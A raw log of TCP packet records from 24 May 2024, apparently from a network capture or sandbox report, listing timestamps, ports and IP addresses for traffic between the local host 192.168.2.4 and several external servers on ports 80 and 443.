May 24, 2024 09:42:05.912498951 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.912527084 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.912578106 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.915133953 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.915190935 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.932496071 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.932568073 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.932585955 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.932622910 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.932656050 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.932672024 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.932921886 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.932955980 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.932987928 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.932988882 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.933008909 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.933031082 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.933254957 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.933289051 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.933307886 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.933320045 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.933329105 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.933374882 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.933648109 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.933700085 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.933720112 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.933732986 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.933737993 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.933783054 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.934225082 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.934262991 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.934294939 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.934325933 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.934328079 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.934359074 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.934371948 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.934371948 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.934391975 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.934398890 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.934438944 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.935051918 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.935220003 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.935226917 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.937104940 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.937165976 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.961689949 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.961743116 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.961760998 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.961785078 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.961808920 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.961863041 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.961952925 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.961988926 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.962009907 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.962038994 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.962166071 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.962198973 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.962219000 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.962234020 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.962241888 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.962284088 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.962737083 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.962770939 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.962790966 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.962804079 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.962836981 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.962842941 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.962862968 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.962881088 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.963422060 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.963454008 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.963481903 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.963515043 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.963516951 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.963516951 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.963535070 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.963547945 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.963570118 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.963579893 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.963609934 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.963629961 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.964111090 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.964143038 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.964167118 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.964195967 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.964679956 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.964716911 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.964739084 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.964749098 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.964756012 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.964780092 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.964811087 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.964829922 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.964843035 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.964848995 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.964953899 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.965399981 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.965431929 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.965449095 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.965512991 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.965785027 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.965816975 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.965847969 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.965872049 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.965879917 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.965890884 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.965910912 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.965924025 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.965943098 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.965955973 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.966542959 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.966603041 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.966664076 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.966779947 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.966831923 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.971575975 CEST	80	49747	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.971609116 CEST	80	49747	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.971657038 CEST	49747	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.971657038 CEST	49747	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.971860886 CEST	49747	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.972306967 CEST	49755	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.976313114 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.976342916 CEST	80	49750	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.976363897 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.976370096 CEST	80	49750	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.976517916 CEST	49750	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.976519108 CEST	49750	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.976617098 CEST	49750	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.976922989 CEST	49756	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.978105068 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.978157043 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.978212118 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.978259087 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.978566885 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.978641987 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.978663921 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.978684902 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.978832960 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.979028940 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.979448080 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.979499102 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.979548931 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.979597092 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.979731083 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.979809046 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.980361938 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.980395079 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.980451107 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.980479002 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.980577946 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.981040001 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.981092930 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.981247902 CEST	80	49747	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.981280088 CEST	80	49755	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.981347084 CEST	49755	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.981359005 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.981391907 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.981441021 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.981611967 CEST	49755	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.982170105 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.982223988 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.982260942 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.982372046 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.982382059 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.982433081 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.983138084 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.983190060 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.983239889 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.983292103 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.983340979 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.983390093 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.984055996 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.984107971 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.985847950 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.985878944 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.985929012 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.990658045 CEST	80	49750	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.990731955 CEST	80	49756	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.990761042 CEST	80	49749	176.111.174.109	192.168.2.4
May 24, 2024 09:42:05.990829945 CEST	49756	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.990829945 CEST	49749	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:05.990881920 CEST	49749	80	192.168.2.4	176.111.174.109
May 24, 2024 09:42:05.991131067 CEST	49756	80	192.168.2.4	93.186.225.194
May 24, 2024 09:42:05.992229939 CEST	80	49755	93.186.225.194	192.168.2.4
May 24, 2024 09:42:05.992260933 CEST	80	49751	146.70.56.165	192.168.2.4
May 24, 2024 09:42:05.992289066 CEST	80	49751	146.70.56.165	192.168.2.4
May 24, 2024 09:42:05.992320061 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.992324114 CEST	49751	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.992347956 CEST	49751	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.992374897 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.992513895 CEST	49751	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.992587090 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.992619991 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.992645979 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.992671967 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.992862940 CEST	49757	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:05.992934942 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.992969036 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.993000984 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.993024111 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.993032932 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.993052959 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.993220091 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.993633986 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.993666887 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.993689060 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.993697882 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.993709087 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.993730068 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.993752003 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.993773937 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.994180918 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.994214058 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.994240999 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.994246006 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.994266033 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.994277954 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.994282007 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.994309902 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.994355917 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.995196104 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995228052 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995259047 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995265007 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.995265007 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.995291948 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995343924 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.995651960 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995683908 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995713949 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.995714903 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995733976 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.995747089 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995779037 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.995795965 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.995820045 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.996592999 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.996648073 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.996728897 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.996759892 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.996783972 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.996790886 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.996805906 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.996824026 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.996839046 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.996856928 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.996869087 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.996887922 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.996903896 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.996920109 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.996970892 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.997539043 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.997571945 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.997603893 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.997625113 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.997636080 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.997668028 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.997680902 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.997699022 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.997716904 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.997730970 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.997739077 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.997780085 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.998404026 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.998435974 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.998457909 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.998466969 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.998476982 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.998512030 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.998519897 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.998553991 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.998572111 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.998584986 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.998600006 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.998632908 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.999208927 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.999242067 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.999265909 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.999273062 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.999295950 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.999305964 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.999314070 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.999336958 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.999349117 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.999368906 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.999383926 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.999418020 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.999994993 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.000029087 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.000080109 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.002338886 CEST	80	49749	176.111.174.109	192.168.2.4
May 24, 2024 09:42:06.002413988 CEST	80	49756	93.186.225.194	192.168.2.4
May 24, 2024 09:42:06.002441883 CEST	80	49751	146.70.56.165	192.168.2.4
May 24, 2024 09:42:06.002470970 CEST	80	49757	146.70.56.165	192.168.2.4
May 24, 2024 09:42:06.002552986 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.002574921 CEST	49757	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:06.002593994 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.002661943 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.002711058 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.002787113 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.002855062 CEST	49757	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:06.002873898 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.002940893 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.002973080 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.003015995 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.003472090 CEST	49758	443	192.168.2.4	146.70.56.165
May 24, 2024 09:42:06.003492117 CEST	443	49758	146.70.56.165	192.168.2.4
May 24, 2024 09:42:06.003590107 CEST	49758	443	192.168.2.4	146.70.56.165
May 24, 2024 09:42:06.004146099 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.004185915 CEST	49758	443	192.168.2.4	146.70.56.165
May 24, 2024 09:42:06.004204035 CEST	443	49758	146.70.56.165	192.168.2.4
May 24, 2024 09:42:06.004223108 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.004434109 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.004486084 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.004565954 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.004597902 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.004614115 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.004628897 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.004636049 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.004661083 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.004672050 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.004707098 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.005053043 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.005100965 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.005139112 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.005183935 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.005224943 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.005275965 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.005949974 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.005981922 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.006004095 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.006012917 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.006046057 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.006088018 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.006717920 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.006817102 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.006860971 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.006892920 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.006917953 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.006932020 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.009908915 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.009957075 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.011441946 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011473894 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011512995 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011528015 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.011528969 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.011548996 CEST	80	49745	103.146.158.221	192.168.2.4
